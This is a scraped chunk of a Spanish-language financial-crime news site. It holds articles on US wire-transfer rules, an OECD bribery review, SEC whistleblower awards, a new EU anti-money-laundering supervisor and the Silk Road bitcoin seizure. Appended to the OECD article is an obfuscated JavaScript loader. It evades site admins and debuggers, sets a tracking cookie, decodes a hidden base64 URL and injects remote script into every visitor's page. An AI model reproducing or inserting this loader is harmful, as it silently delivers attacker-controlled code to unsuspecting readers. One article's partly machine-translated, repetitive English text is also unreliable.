href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" 